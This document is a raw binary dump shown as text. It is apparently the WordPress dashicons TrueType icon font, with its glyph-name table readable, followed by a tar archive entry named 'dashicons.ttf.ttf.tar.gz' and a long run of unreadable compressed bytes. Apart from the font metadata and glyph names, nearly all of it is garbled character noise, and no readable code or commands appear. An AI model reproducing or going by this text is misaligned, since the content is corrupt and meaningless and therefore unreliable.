{.z.Ks :  !2#!"=47>.'&cS000ڬ  ....ݎcc#)!"3!26=4&#"&463253'757'5fM* ff&&LL&&MMg+n&'&MM&'&'M!"3!26=4&'757'5fb&&LL&&M&'&MM&'&'M$-!"3!26=4&#53'757'5'5'7264&"fȳf&&LL&&M.4 ͙s&'&MM&'&'M@&.>-39!"3!26=4&'&76?'76?>'7&'757'5f ! !  M &&LL&&M " "   J0&'&MM&'&'M#!"3!26=4&'#537'757'5f33f&&LL&&M$1."g&'&MM&'&'M%)%4&#!"3!262"&46!!52"&46!!5 f    W4 W3  f 3#35#7'7'M33ffn$$n33f4n$$n3'5'7#57!3#3$h334fO$M33o73537#5476;5&#"#3K> H & *3??3I. A3-6I$!2+537#546;5&#"#3#"&546Jl h5=  %+55  >'8+'-> l #!2#!"&5465!735335353353  f MM  f MMfMM576762'./5M!!.T.!!! 337#7567'&'&'&3M#.1+#+51&3 $0C"#54&"#54&"26=>=4&3265""26=>'4&  - -%& @@ @@ T  T  ,2#(  (#2 !!!5!55#7#̙L44͙̀gf%6"&46325#"&4632546 4J55%3"%44%3 %55J4 3 ,4J5 &#"5#"&=46;232+'#"&=46#M33Mf$/MMfLL&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+2  2  K   3      2 K  @ c ͚      >!2#!"&546!4&"2647676763#!"&=2176767632:t**M       tgf+k "  3    )74'&'&&67'32674'&'&&67'326 5)*+#& ;+'2 5)),"& :+'2!%R:"&-2lA-'!%R:"&-2lA- '092"'&476264&"3264&"3264&"2"&462"&46}90099009     = 0))00))0        3  !2%46373#37#37#3!73 4q43M333M f MMMMMMMgf #&),/3#7357#53%'7'35#!#53#57#7'533&M̀&''@'M3&'M''Z&@&Mͳ@&@'MM'& '''g'&&'M@& #77'77535''3'7.E'H.H'E.s'E+.E..H̀.H'E..E'E+'E..HE+.E 357''375#!#77'W$H..H$H.H$H.f.H$H$H..$H$H.H$H..H$H+4=.+"76767627>'&##5#53533"&4627"&462 (( '&   1 s+85W      W58.& *   #3'.'&>727.#"32>5'&pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:!2#!"&5465#!5#5#!5#3  f f3f f   ̙͙ !-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6 " "n     1j2 '  " *- -* " **#)$$$$n/88/n &6a ](//(] `7&'7&'"/&47%&'6$Y$v;Vi?^$W$!x%  " #5#3533@@@@M%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+&<@&"&#764&'677&6762&'+6267>7.26 >**I{",+ E"1/Im    !i< ?q$  rf*<>J? (+ H !.BK8  ;  39;3 f<)%#&'&'67673264&#!";#"3!264& 0.   0.   f6 ''!56 ''!5 #)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&L3;;YY.;;YYf4433ggWWP@@Pf:;ZY;:YZ #<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!f  рW#  MMMM43     C3/  4L48<@D%!!>?6.#"25#'"276?54.#5#5#5!f   #  瀀f4t      ff  533%##5#5#535337'#35fMffMMMfgfMffMffLMgf4&"26>.>.f4.#"5>@529925@4.".4>244  ?j==j~j==j?1R00RbR00Rff=j~j==j~j=g0RbR00RbR0 2".4>4&"265#8^77^p^77^R47^p^77^p^7g ܚ %)73535#5##32>4."2".4>!5!4334331R00RbR00R1#;"";F;"";f333330RcR00RcR04";G:"":G;"3 %)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";f3333330RcR00RcR0";G:"":G;"33 %"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL=j~j==j~j=g0RbR00RbR0L4LL4G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X= %" #%%#  #%!"63%*.3%((:((,==X==B 1  "% %"  #$%#T3%!!--!!- !2#!"&546!!'#5!3!26Mf  Y4Mf4     3ͳf  3#3#73#3#!!3ggfgg?7M4gge 22+"&=4&/&'&54>53++"&5#"&'B'   f   'B&  3  &B'    'B&j   "73#7"264&5#3547>354'&'&@MM&'LL*M!<3~&&+1 %)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53  f = W4 W4 W4 W   f 33f33g33f33 %7>54&"72"&467'57M&5% 2>4."8^77^p^77^8#;"";F;"";7^p^77^p^7";F;"";F;"  %.!3'7'7'726'&/72"&463gMMf...M...M...' 3  ggM 3  4  3 f  =   '!3'54&#&+"276=7&3263gMMm M  ggM WU;  !'7'37'3g̀33MMfMM33g34MLLM43!3'3gMMggM  #'!353'355!355#'355!5#3gMMfffgMM3MMMML4#!3'5#3373/"&4627#5#53gMM3LM vMMggM癙4444L444M  $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g̴MM4MfM4MfM4MfM4MfM4ggMM33334 !353'355!5!5!5#3gMMfgMM3M333!3'54&+";2653gMM M  M L3ggML  L 3(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>9M  ,&:  !!  !  h2! 9 #343   *(n   7!5!!5!!5Mfff4444 7!5!5!5!5!3334 5!5!5!MMMMMM 7!5!5!5!5!Mfff3334 /54&"26732+"&46;5.54622654623**gI73   36J4&'&'"2>4.".4>2        &7_77_n_77_70Q00Q`Q00Q   $$   "' 7_n_77_n_70Q`Q00Q`Q0&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(    p ! e))9 #x%%"1      ):)Y%5#3'35#'735#7#35ffLffLffffLffLffLffffLffLffffL26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3 4  4 3 MDM4  M  &~&:N:M  M X4  U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32  f    f    f    f   L  L 33 L  L 33 L  L 33 L  L 3 ''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[ ''7'776[7Z[6[[6[[6Z7[[6[[6[[7'#7! 3'3M3f4<E267632&"632.#"#476767&#"67632&'&#">4&"26   *g!25!*/,/RD#(, #L   $1+& )A F@ZC=6)%25' # >&/.6?>"&4?64&"6?64&''&'&67676?@~0 ~~~  0,  1BBBB ?~0  @, ",2:7#3264&#!+#532+5327#3##535!533#3264&M.i$$_3&&Mf  3fffff4 *3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7tN&%%'- }M8H7^88^7H ) L (LN  -   -9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1  P   "#R9&&42+&9)'P55-A!!A- -8'&6?6767'&'776?67676''&76?>5  M  gq  :`  /p A   M f N  q.  BY  q)  A   M  ="6?4'&67632#&=674&1676?32>4.6(&' !37#    '>"+IE(5 P!,+" 0"{'2,$ *FSC& )-15!5!5#%&#"26757&#"26=4&5#5#( * gg33f33g443u)Y)33f33 "&5!5!5#732+"&=467'5#5#gg  XUUggg33f33g444  43M33f33"676.5&'&'&7676.76&%2?3276?'\O.O y=:6EN/A O.O   a }O.Ou`02 >EN3F O/R# b    .>535#5##3)QllQQllFggLgg(llQQllQgLggLg ##5#53534444 ##5#5353MMMMM;%'&4632>54&"264.264/.>676&Ri   .B.i#"YXD"ii0BA! i   /.Ci !CZY!iiBA0 \% 4}7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR ( T tf7  + R aq ,=p:  di < #  % $ g15.5462264&"f+! !+264&"3276?z"11" ."!!0!R S 0E1%'"/"" S S #'+/%#3#3'#37#5!#";!5326=4&#535#53#533MMM33  33 Y4MMgg  fM  8"3'656&'"35.'>75+"&=46;5>232  ! EbOObM  (6(    $$ n '' UMMTTM  g '&&' $+3!354>32632!35471"54'354f";##;"3 -- M433#;" ";#33*#-S3 -#*3l"33" 5##537353'#5#'735gfM3M3gffL33338.3L38.33-6FO%4&"264&#"'#""&"32>=>462"&'"'&762776'"&462<<C GB6 & 0RbR0 (%*#!" 'a  n'% ":"":"  G,355#";#".4>̀*==**F**FMgfM4.".4>2'35?j==j~j==j?1R00RbR00R=j~j==j~j=g0RbR00RbR0445%"#4'723264&">54&"3267332656&'l %%5&#,A,<*. x(.-&5%% l' ,, 'x/+<- , !%34'&'&#234.#2264&"~O87\`oZMK,-OI}I'E7 - 3m^\57M,,ILYH{GM6E%, ,y'7H$lxH$k !!537535353!533533fg3f3gfgggff333MggMM 5#!5#5#!5#f4f͙ ).'&/&'&'.>64&"27#     ([!6HI 5J44J$c)    % !IH6K44K4$-R&'.'&#537>764&"26&>7>75673#'.     vD  "''" U&4&&4&     vD  !''! l    L{&&4&&R    L 5>75!57!3#̀:$0%[S3F+N3fL ,ENN3) '"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq-@-- ;-@-; --@-;  ;!3'&'&'&'&'&'&'&52767$#.!6  @@   ~\C+  !%).3 !83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6  @@ #'(   ~\C+  !%).3  # #$  7#535#33#3#344gg6^6R44g4f444g 75!%53735;#'5#5#34433MgM3332+"&546#73  ff  f {,2'&#"1&54632'&#"1&546267'"&'  7Gu"bxb"u{    SD 8FF8 DSM!3!'LM #*14."2>%'>&'7"&4627.'677^p^77^p^7& `1 ` &1*` &1& `18^77^p^77^` &1P& `1**& `1?` &1 0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_( )^, 2g/ .j5  :y40HC3 ;IS6 7_n_77_n_7    /   5! 7'7/'7'7MiiM=4&WXAB' &BB  BB& ' D276527652765276='!35335&'&'&5"&'&5"&'&5....MfMf //                 !7'7'?M͡,,$11$Md1$+.!73%#?'73>'5'3J@d&H>(25S,.,MMNAv.$Mg9M  %535#5##3!#3#3#3!!h^^,__ H'].]].]5b!b!bh  #33535#5!!!#3#3#3^^,__ '].]].]5hb!b!b  #/75'7'!%#5'#5'#3753753''7'77!! PT'SP(PR'RP !! F!5B..h<;;+PS'SQ'PR(RP  %#5##3353!#37#37#3!!bJ$JJ$J 5JJ"JJ5bbbbb  33535#5##!%35#35#!!#3J$JJ$J 5˄[JJ"JJ5Bbbbb  #%'7''7!'#'35#735!3#3#!PQ'RP'RT'TP` !-. 5 !PR'RQ&RT'TQ~5!b!bb!b!b!2#!"&546!3f4  $  f 4 3'%264&"L+ͳf++  #'!5!#5#5!!5#5!#5#5!#53#53#5̳fg3fffffMMMMf3333M!2+5#"&=46!!!!#3f4/4M334 !#537#535#535#53Mf34333 !5!5!#5#5!#5!5fgf33f3333g3333f33"7"'1.?64&+"&5471676;#%#53  M 36N 333 F   t  !21;2+53>7>3#F  M 6N33 FVT  t  "4Q_5&%7>&'776&/&326'/.?>323!52645;26=546;+"&&~'# #  ##  fI     ]I''HH('I` F ` F FaF` ML*N f  -f H1 <BJQiy1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!52645265'3'72&#647.77?7#"&~'%OM%OM3"   ' .`  q6 %* U5fm7&'3' I=+Hs4sRQ  #/0 # ?6M E3ffK277#     $132!546;>23."!+"&'3M  M%.%bMk    X   337375#5#5!#3'#3ER..K#@g8O.@$$g$$C));33Cddd%#"=3264&+54&"3265.d!!!-: ! M-66 !!0#"'327.'327.=.47&54632676 :@RNB A30  !* #e:7'$   @<@%**($4"  )2,4 '7"#5532+32>4.3*==**F**FMgfM'2"&46476?'&'1'&7671'&'&>i~i>>i~i> ,2,,2,"  %  "?i>>i~i>>i  y 7>'8D"#$(#j54 /2"&46476?'&'1'&7671'&'& ,2,,2,"  %  "  y 7>'8D"#$(#j54 +54&"#46232#!"&=463'>54&"3*3327.#"#?3#"&'32>73>(.+F(,L25YZZ; <(.+F(,L25&33(F+gg3g'21 (F+#23'3.#"'>".'#7#3267-L26ZZ< >(0+F,M26ZZ< >(0+F(G+ff'22 (G+ff'22 75#7#5#!5#MM4444͚+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467  f f    7'&'62"&4"&'672>=4&')EG:+")@>:)  ;i!/I/90 I/!i :9*!6 : (  @ 92B'1/$B29 2".4>7#64&"28^77^p^77^U L 8 $#7^p^77^p^7V  5#5##!5357##5#53533M433MM3333333!2+5#"&=46'7''73M@@@@@@@@@@@@@@@@ '#'%%"264&7&#".#"67 3 &   1QQ1 L$gg  9&.0''0.&#+%4&#!"3!26'2"&'>4&"263!5353  f +O OVO O^**3MM̚  ($%((%$(L+ (,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#   MMMM ,ff ,ffM ,fffM  >gM333333  M  333   !!7627'$n.$$n.%6@.7327>&#'&'&'&'476;2767>am_2L45<2/1S ?*  ) n/1:am/Mam >' !   AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'EvvEEuvEWe;,P   N &!=4:FB"#EvEEvuEEvD /8   '7W '2;?jpC2*  MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'EuuEEuuE?i>>i~i>>i N Z5'H   EpC7a3?; FuEEuuEEu,>i~i>>i~i> *2  #1N ,n_d<.O %&+"3;2?6'&+";26/;)@: @: @AT ;Rq En p rs "2>4.#'778^77^p^77^H"S"B"7^p^77^p^7t >#'7|""S"Bt =&'&'&"7276765455-$QP 5-$QPx =v=9?;M     " - +6 a t      V &6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer admin-generic admin-home admin-links admin-mediaadmin-multisite admin-network admin-page admin-plugins admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3 admin-site admin-tools admin-usersairplanealbum align-centeralign-full-width align-left align-nonealign-pull-leftalign-pull-right align-right align-wideamazon analyticsarchivearrow-down-altarrow-down-alt2 arrow-downarrow-left-altarrow-left-alt2 arrow-leftarrow-right-altarrow-right-alt2 arrow-right arrow-up-alt arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groups buddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuilding businessmanbusinessperson businesswomanbutton calculator calendar-altcalendar camera-altcameracarcarrotcartcategory chart-area chart-bar chart-line chart-pie clipboardclock cloud-saved cloud-uploadcloudcode-standardscoffee color-pickercolumns controls-backcontrols-forwardcontrols-pause controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeon cover-image dashboard database-adddatabase-exportdatabase-importdatabase-remove database-viewdatabasedesktopdismissdownload drumstick edit-large edit-pageediteditor-aligncentereditor-alignlefteditor-alignright editor-bold editor-breakeditor-code-duplicateeditor-contracteditor-customchar editor-expand editor-help editor-indenteditor-insertmore editor-italiceditor-justifyeditor-kitchensink editor-ltr editor-ol-rtl editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-word editor-quoteeditor-removeformatting editor-rtleditor-spellcheckeditor-strikethrough editor-tableeditor-textcolor editor-uleditor-underline editor-unlink editor-videoellipsis email-alt email-alt2email embed-audio embed-generic embed-photo embed-post embed-video excerpt-viewexitexternal facebook-altfacebookfeedbackfilterflagfood format-aside format-audio format-chatformat-gallery format-image format-quote format-status format-videoformsfullscreen-altfullscreen-exit-altgamesgoogle grid-viewgroupshammerheadinghearthidden hourglasshtmlid-altid image-crop image-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-right image-rotate images-alt images-alt2 index-card info-outlineinfo insert-after insert-beforeinsert instagramlaptoplayout leftright lightbulblinkedin list-view location-altlocationlock-duplicatemarker media-archive media-audio media-code media-defaultmedia-documentmedia-interactivemedia-spreadsheet media-text media-video megaphonemenu-alt menu-alt2 menu-alt3menu microphonemigrateminus money-altmoneymovenametag networkingno-altno open-folderpalmtree paperclippdf performancepetsphone pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt plus-alt2pluspodio portfolio post-status pressthisprinterprivacyproducts randomizeredditredoremoverest-apirsssavedschedule screenoptionssearch share-alt share-alt2share shield-altshield shortcodeslides smartphonesmileysortsosspotify star-empty star-filled star-halfstickystore superhero-alt superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloud testimonial text-pagetext thumbs-down thumbs-up tickets-altticketstide translationtrashtwitch twitter-alttwitterundouniversal-access-altuniversal-accessunlock update-altupdateuploadvault video-alt video-alt2 video-alt3 visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp wordpress-alt wordpressxingyes-altyesyoutubedashicons.ttf.ttf.tar.gz000064400000077527150547077550011277 0ustar00 |U0[][wuUV]%Wu]^[q{9yvn~a3#O9sbɩܙfN̝^X([Əccd4Z*V1 㣕J)5ſ O? :ѽGCFuёOޙW8=ynDKH䟦g=~nB_ &O悔@D>:@ O}PO?$D:<;wbr;ctw"|Sg9~q$ufBT~ABB]2 o\tVb>".Dco?-~uwoOxdWBntԛ$ 9x7)vܡ0 yDvVf,iH86IJ䏀 -s78>r? N>(y̒ 9GMj2Y ?C~,!.4uɿPJT4CB(i:NMIy< GH""&_%BEo09JAF'/"/_!#o?Q_>N'a"o!cz#-y'C*L-rF"A>Mn'@r$O $CdlLd FvdM#;yHK.. dWgMt4|n%@䯩A%>?Է_?'FI|UO[~ I''IyL$q{*Fȯϓ=4EcKGI=F U0NϏ@_W ဘm Vz8H'"wW%0ɪSXU8F * dYq|AV59ȪyuMȪ Y59!kjbԫaj:X8prw@AYqX:.j7qd&8o)N89V$j0{9Pd5(Y-pJV8n%8,c?du`^:p0YؘsLVG8&W18V]ȁ`82uVn@7q -2խFmZn u'rƁ`}hÝ`ÁrDVq@bu?RdWd@A@jP3zY((߻8P,Q,@@ozqJ$V@c(9P8Pwr@qL?́{P(:2Y=΁X9(5Y=5SzduPtzv: ߑkpI\;q(>ȁɵ ɵipS@^$f8Y8+pq Mk89I-pY\;Ir  kOr Жמ@a\{HZȩk9q ߁9P8dur]R;;<2=@`\s9\p\8OG9sm8}zx=Áy=ˁ@ˁ@y{p.p Wǁ˜|t}58q ˁ|Epḿ|˱ '8vN{Ɓ4༛{8@y/Ԏ !|һ/ D8$ԅw _3"?" +|?~׵ I=hL/1fX| ~"à s$y.YߎFGV{1+ؗcWx9~(^?+gK]t}xz{N{|H{ZRMv'7&kɟH~9KN-ޔhڗޕj`'2=ofhwr`[rϟʿf!T^xµ}]c~lg6|X>/ }~蟇98򦑯81Xq쁱7}z׍l\=#wRttr|JPonܼƟԽG7= j|fwvxUx;V؜]vfnǣyC;,eSk,>\$W}j;PwhQ"5.y2E1pKbZnY@;\r7Ft|;-S۠0-+"롈Pr^J2|CM|/+GoxxdIe(Q_.-5z'!z#H"ܣmISP@Y3@i~ v+)Wj: G-if oJT񷑨{MMGvC$zH”T]]Q![ j7=%}d&2Avy?uu-Q;g{egK+} +ۮX 8Q8Pf#x7nT_ˇUpA)y~7G({Uz7M]CԐK^hgs6fN7sM=wbw67ٳ;s۝FN7<ƹft7INDv4:Jdm>%jQpqC;@rSO;O݋.fBF`$hW*m%]J"ETAoFS]L+QJҰNzkƮL{BJ*yRşʻgP@7ۜ e$Eu;kg`?g!Q.>1R 采CĻ*YE-*>t& Ie8>(,Z"/lCÇc_gt="TQdnWʄYAȸp[p>.\ ٠d , /CFANaW&q"[#7%J儏>E BnL$Ú<ص3)˂WCNŅ]% =[-+Nc־uHPC>ڤ镩'QȮ'ڕ!Q/EDK$ML'x3NҴ8Wi pb:kZ_oE:hKEf7Qh i̹pZix;v +$>w[TA+tW.,rƥJGs|҅bn%/_>V.H&2 Ǖzwq?(ZgrU8$aYH] 0*y.הy &FA׳4".pMbeHbE 8Roѹ<j=9ILL3dWLo>ʈ! RW6%%e޲]]B1A}d\Sc@> zH!'IѫwUoi*$覠R@-Ĵx|xH =NSz L6si>=EܦV^FN7.*›48.S2yuVܙ.N;N /Br:Ρ("],0FC/B~UqABDRKKn 2\s40j zz=LqC5^ve%AfgY 6S<3UȏO yzj}:R R'*4PED3}}`aZ:ev rLm`%uVtvP{ixSpzw\%rw)HCwܽ'<pUWH?W'6+NhsoWr<f؝oRѤg9RFD\X" UR܂DX,M4eqCw__>.$Cɮ*vP#ղz!:tph#Mkr!T2%*e@nJ:EEo ]qFi/F qŕ~ Fddx3 ȆG |}p>lXfA#jC+ҷ7.d^Y,rH6"GA3?;Ia]c:UޘL{ph|!:_e_}])+8t=]%XBpx5{*z7%D +P@&53rChJ1Z$IpVrg؝U$(A+?sEnP`Ֆ8Oɞw:sk-[N>+,NzCz+ ,3T%vb.7?xp+c)'*u%)nU*Q+ýk0VT67p.VV@)PaM^hMō3`;kkջV@ bN;l MjHWHwւ^Az5Md-=r!`# 7R4c;Mle =v16р J^@1xΰLwnU,EBI *?4f&[2Ca@md'M,cfO Ot^*Z&g[~Uk귇~/>Evd+. CV0hx8_w2h^t\|Shӕ_rQm'lYKCHa+oxӍu[l:l0,Huo)$!L F^tEw4`wɷ[nߒA}q5HJ:2|0;6k*~* P2z?ըY]No2f[~W}]H+ԉ"݁HKbکG8~9D%3hyI6JR``]m͎4ϼ#GBtVZxg1c@7~b£`[vG~6:Vސ7EIWC@$c"d5E ނdD!\In hGt۽AAY ι!<=1dn+jWVWN&l72- ;@u|WGLڜ1G|N䙐8-rvKV_2:cxg1# th\Dl6g(RЄ ގro66c0Nok_j7bǚv{4>𘖲%X1+bPBkRNƎlM, PK@{(Q_ Mn\'b9X~"'Q;PG _u;z,T֛Pԑz,\[xY :)typFK*d 7"jgKn B5&LUs"j?T֑.yW.`SEu'RŬb[JT)dH<)<]҃1 7'4`1U%;=2g{2[9ΉT4ag0]=XpBYPC7H)F݊z [(e9EYΑqI D#k7_+/T{{~;c@n"ڰZhcW0j`(2JR*TAD@y*S o; Ù'3'%/見dD"Y#[lY1d}*+JUwXIKH'd"{ G@51<2B\uI\F LZATB3?Zd~Ӛߠna #ah̷ຒ~&wchCI;fA{^5YS;8?ۑ-oA<NU=Z LCoU˝mnx{iX,ߡ"1Nx.G +);Z_YJS{ xiyUg,ap *d낲:jX׵n#z/+1=鷭nJ{EK 7BD "b`(З'& `/IT4SŠ!*Ce# Ĩޣm iBV𚁘b*xbC]S*ۂe2r$R)aO+YvgXi `L^j&=X[yS.<%.MG!s-V8͆RCпŕ5YC0J7|SJdRk״Qm e?Q=erƘƟh8o~." $f\/d^4;mhKXZCd8ݚ;'rµC4"+4e&@LuxTM5Ckgg%V<`Fh=24 A-"6>s^Q xpGi{BH^ɇ ӐPh,dű#GGGR4zdl(^Lr@hx!R&vu'K"#7TsJ4 #,+͆7)pVzcY3)B|WQ)VxD_F*kTw/~*LW@v&fRFj߁O}We wQS ֳt@Gۣ{-5l\Bb2D(PY3)C/o"h\D]583rhr319yOvK#Ó1}Rq)Loλzvˤ ߜ̱ &wP'nsB_ڟ3|zG! J@]^GLf?9kF|ry47-DͲd2ejFFT_a^`G˥|߱ PGٌETfx>x`3d ߯ fJ}nýɞNv_4! HjxI^E}2=-w{zI %SMVL)X%7w{(w%zM; O39gbhD[sk4Iz]0M] jMc9a-雅R0 kZ8VG4;{vS74`vERf;h~!R xU,E5pWIj0dYA8ᐢٺK K#axBAU^x/ֹK f hNm5YGde9I"6.=MP]z!\ltNOU) B;=|uʳSmpIRJ钭RJ[Uwi|zqi[=.6k$+t L=X~g3t mnTv \Rϱ=L>zaȺ:d9NTL bq&\qrjL&f{opQqR3b zQ`*G~Q} ^կjh 9هN'3l Wķu*J^A*{>IP.ҹ4g[|z QȹS\Nq>ãمFf=7j0}#ZD5B]P@TY +@o+փVZzP-XƮ31Ez4 /TESTmN A28ށȟ1j ^J*H"ݾÅ#tŠ18gٟp5&nv~Ɍ)k]nqW<*qU)17od`9Vaڕb奵ޗ,>MKB. 5΃L,-v}l^g=.҃H\yJ8*4I"FLaU=fE3pQl!6Y ^!jQxE,Uۘuu^Z ޺\JUfc7 ڶzp\Ϯ+Hm})7 P=+XgI{;mm'/o]V[yvO;BlιQ?+l%5_#5#օل<'c4O<2]H-6]jʌ>Ir*F pE_ٸ䬬h8ӷ/^\u-XW%Bߚ+ժV:n5b ^0\G[nRB^Xa+e%\I;ck)-[2_:lZ\_ [RT*I?۲eUzLɌt9x=>+7$IZ@dÒpTHNؚ?c M7PI qm J+wC,.9dۉ9 nJA, nx@oG;xnu9_J~.^N>'1KsfJ_\#pU NE&]Z;]ʳWܒRH+(sT-Hx.B}ԦMpxZ-^t36TYy`ɘ2/< y@ ?]D4z)~F i243+ڹB"aYl@Xb}:qF-2q-9io-iM?)YÝ6~>UTl(䆡A!CMԣ=t.3-C+F0dA LmjNoꗛGcffPƸ(fsl"yiC({O1#>C(K!*>StIBA{d4UUw c9v G!@ 662V"C\\tJjP7=A_˚_x8t81|O25]Q )"Q]i{՚{nyo~ӯlH,C9Mw)yG AӧS*Ag.dT`%7lT f1gsB4k~BO뿑*%"~ Rj{E6 fQGqZS0^iGW^2`q(v rVxO?Xc⥃E\ujs Ɂ˭n)a%yQk h?׮o]F7.,?ȿC:Ni z1Rce[]87?2`y2[] h)e[Ti<Һ(y,/'4]rH~IL$z6п]S3݁G!siu/jE*?(բw6p 6e1iłgըRQ$-r u-{gСmd7jۘB23"%*n(&KexMDɖ6Vze72 ڱ76um2+N͞T$4AC'`>Y_< Gޘxܢm"Bz$<1jN_Psz1]eg>Kd/1 b1%n!-̢\x]Ĥ2 ")e]>SƺfW,uC!ͫdoj8U^K w!xR*g>#|l"sϋK{T$61100LLLx>#ZЉ{H4觪}_\\w[nm"\1E>\OVVљbm1H«h"Yx3]YEfCu.$ uF5/pzfJ_pC7x:[w a+w 'Ԝ}~ĀsK,1IpP$PdAިyF ƆtAAT脨b]\^T m ,C*naȯ (N<]s 6F@_`(H6RnT5K\rbx Px>$.;NZuFQl C9͵l@=џE_?".q4CSÖ!GbwہzJWJ4иvt:MIEx=g˕ 'OpÿȚ)E=,xd#&}-Y?"&{.M %)%fX8s$xǧo?WٶyMJ7((޵tNqɃ.B4E F?7JT%HtqkSN3 y+S7g*Ykk+*R P,aZ-?xKD/ 89Pϼ(W;Z7eS&uzoʇ:?.w|; >t/U6[Wƥv.' խFg/w!> oZuu=<ܢmRNRqe{>#[i%Q MIw[>[UlU-~j1Փʙ,xUoL$hg=vfuX`p{[M;VL-ϧH7Wm۰4rt5j̻բlԛ36.ׂ.e+sy_ tM9A((pٵKܿrLG?{t]] \}迵쾵GOnrF;c7H]qwmm -Kʢk-g&߱ݷOZXݱ!շu};>c5YJ6= &roy/ >} Q( mÇI[p`Q9pq(y}34Ugq EbKi\|yDEl6%5~(5'ГR,@#Twz8]EϽ,Rj9dnc_wltx:ҘwiQ_\V)Ex_BN&sg 0^p2=†&EF  ئ3L[r.vH7{ʼn Yif*$ăw^}30*YYYΎwzz%èkJv%KrNW("8N> RpzB(VSbyҁR)Hn&W,+oJEܿI C?dNh7|-e=UۼZf=qrJ7/ ej; YƚLdBFcK6XqenJ9~4_04mX&ckE%׉C9>/z Ea= ˥ |ҷ WCz ) 3pD qL$X#ΡKx2&.GK~)[J^ittVٯ0]jtQvion%n>C`~DnIZ(nFV@$EVAsW 8d [16]0iր#m6խ8Bdr1!{J%g:Di"S-BX~8e1H 7ĀS(LD] aK8f@,y>aeR}xwavvԇep}x]8 7HݷNiq,Wb)e<{{+;|RazY p:eS\'ǛTL(i%UZ^nӐ#fO0bݶl+N܁zDߘAÑHx`c^C 1izcIoP3-m睼4}FGQv{6f 8nW[:tP*>sV7[Mg_ƍU6?7&-4f.7Lh7vr0^ .sSKd(=4a3,aȩׂJD)Fh-')/_5q4'sD}J'-A뉇RأfJJR v.?}i>`Hgc Fo<@ҙGWI?7BH߃~C}EnBśJZ(P5$)zFT,5 T|+fvt9#Ӈz·RU9iq3zs^qMU 77F?Zwe/R@cJ :q) sQ; l{XK~}oD]nlŝK~:5|\Q Z墤@+6&II PD; !k߿d&Tyn񷙱x'UT4OE3[#?jxWEQ?WJ?(Mz`/BzXz>o/ûb]wlveK*M@WHb[ۺVqWYC1bM.4=ڰy7-N+x\G8ʩBOO!]"k&FpO drŰֲU=aW\TO]';.׷l w0;Z:p{8\-cesc鯻I8]r)O!&4gŔB{8f ZRxxDpLA]5TR d +@LYV}n"̎p["yp%D]F ]-# 'QJ]x8ّQ,6˹YNVFJIJ|l˒*ACC$?gnB-E3hqXA}^:;KApZ:F 0>*PA2JLO:k~B \I䠗`nԪ˵ZuTk8qYcp0^]ѶcJKI[#r1JkdE:?GXuda:b3Aq< B\*^TԝZ7à5f~ . E(X rnN[i%k ʿиz~例Ǩi\>VO"z7-sW\zk|zi<.l=|}42Qg pwӽޑ}߇TQɥCX%?rО-p:|ͭc޻io9m@.tBb\zWI (fmDi|ӦS]ѝ {n/OЕTb53TeГ{L"_a]qV܀^9XIP0ԝ[#kQqOa(גR>Y #2Ӊߍ/@;-Ld"W)VyQI |Gj Qsp-j JY7l`KT4_SV+<Rcũ2rѥ|4K++s>n] 3A ?Wo&:xN[PlI3AblizBMZͥW嶫+"DߎGm{Yw`afG:Mb"]Ŵ,1ww(;K"r:,[2-{6Diq Zlٻ9ټwKQw_^K-RSuoNqi-}V=vVAS%lKx ʭnqMFA_yTd3Y2:D7#}jQtj 8jP}m$-t[" ^;%roF6t3n a3_۶ mT72\}Ջ]f6܋_t~n7N? @"5$/p\&VEY*z,.Z˫fK8KY~=++<8b~azpJ$&kz_K #b; 